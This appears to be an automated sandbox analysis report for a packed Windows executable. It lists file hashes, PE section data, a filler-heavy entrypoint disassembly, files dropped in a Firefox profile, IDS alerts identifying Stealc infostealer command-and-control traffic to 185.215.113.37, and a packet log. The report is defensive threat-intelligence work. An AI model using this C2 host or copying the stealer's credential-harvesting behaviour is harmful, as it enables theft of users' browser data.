SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94682358912838
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'840'128 bytes
MD5:	978e0f4d5d068cc04a04fa6ce259e4b4
SHA1:	4ff61842d3a66b96b3650116905b32f1d28c39e5
SHA256:	56272fab1d50faf4a8a1acd10311c78c51e3aa7249c00e67637a7e6264c3544f
SHA512:	4b5d54fdbd570364addf3948c189fed1101dd946f3860f678c807382a2e94fdba8a5b012b971b9d6cef7e81283b24bcb8816472c0276acaa6e911d5106e5ffe4
SSDEEP:	24576:jN8oK2zgJfWJw7AyRBCJR/0XN0zAzsQ/4Ywszj/IsqMyzibrm9a8UqdScLkznw1r:jNA2zEfgSpwONd/AYJfHqIfmMkdUzw1
TLSH:	8785338A0828AC7FC7D8117E8CFCDAC5B5BE74D066E57B6F3A54187920B32E244C5DA4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa95000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F55D8C1031Ah
pslld mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0600000Ah], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	19c6ebb5906e152cabca78aed27087d1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29a000	0x200	071872905f041e2d97668f259fa855a5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gwyzzxql	0x4f8000	0x19c000	0x19b200	584e063b76b1ba6ce69552b27920d415	False	0.9947243653086044	data	7.95281736149135	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vmtdtefc	0x694000	0x1000	0x400	edd3f36aa261048b60141ae4a8eaf48a	False	0.73828125	data	5.908807021698149	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x695000	0x3000	0x2200	28471bd95a16fa5a1a6cc95beafb0eb9	False	0.06640625	DOS executable (COM)	0.7250932927471732	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T21:19:01.195576+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:01.413862+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:01.419627+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-07T21:19:01.632795+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:01.639592+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-07T21:19:02.611521+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:03.170792+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:13.073024+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:15.929764+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:18.087795+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:19.486152+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:23.497676+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-07T21:19:24.183488+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 21:19:00.243624926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:00.248635054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:00.248754025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:00.248884916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:00.253801107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:00.951464891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:00.951544046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:00.953701973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:00.958595037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.195508957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.195575953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.196511984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.201531887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.413603067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.413661957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.413861990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.414691925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.419626951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.632675886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.632718086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.632754087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.632795095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.632819891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.632827044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.632855892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.632879972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.632890940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.632920027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.632931948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.632944107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.632977009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.634721994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.639591932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.851839066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.851913929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.877123117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.877177000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:01.882078886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.882194996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.882227898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.882255077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.882287025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.882340908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:01.882371902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:02.611409903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:02.611521006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:02.955111980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:02.960083961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.170696020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.170737982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.170773029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.170792103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.170804977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.170811892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.170826912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.170850992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.170922041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.170955896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.170989990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.170994043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.171010017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.171044111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.171421051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.171472073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.171473980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.171508074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.171535969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.171541929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.171560049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.171576977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.171595097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.171631098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.172190905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.172249079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.299844027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.299882889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.299930096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.299933910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.299956083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.299968004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.299983978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.300014973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.425185919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.425231934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.425285101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.425318003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.425352097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.425364971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.425364971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.425364971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.425364971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.425385952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.425409079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.425436020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.425637007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.425692081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.425698042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.425726891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.425744057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.425782919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.425815105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.425849915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.425873041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.425896883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.426632881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.426691055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.426759958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.426794052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.426815033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.426856995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.427046061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.427110910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.427155972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.427192926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.427216053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.427238941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.427261114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.427294016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.427316904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.427341938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.427962065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.428024054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.428056955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.428106070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.428112984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.428139925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.428158998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.428175926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.428194046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.428225994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.430871010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.430907011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.430932999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.430947065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549040079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549089909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549253941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549253941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549391031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549426079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549457073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549458027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549474955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549508095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549521923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549545050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549561977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549575090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549606085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549619913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549701929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549734116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549760103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549767017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549779892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549828053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549860954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549895048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.549915075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.549945116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.550410986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.550443888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.550477028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.550508976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.550509930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.550518990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.550518990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.550544024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.550565958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.550594091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.550928116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.550988913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.551287889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.551348925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.633496046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.633625031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.633661032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.633740902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.675689936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.675724030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.675759077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.675797939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.675812960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.675828934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.675863028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.675879955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.675899982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.675919056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.675935984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:03.675950050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:03.675968885 CEST	80	49730	185.215.113.37	192.168.2.4
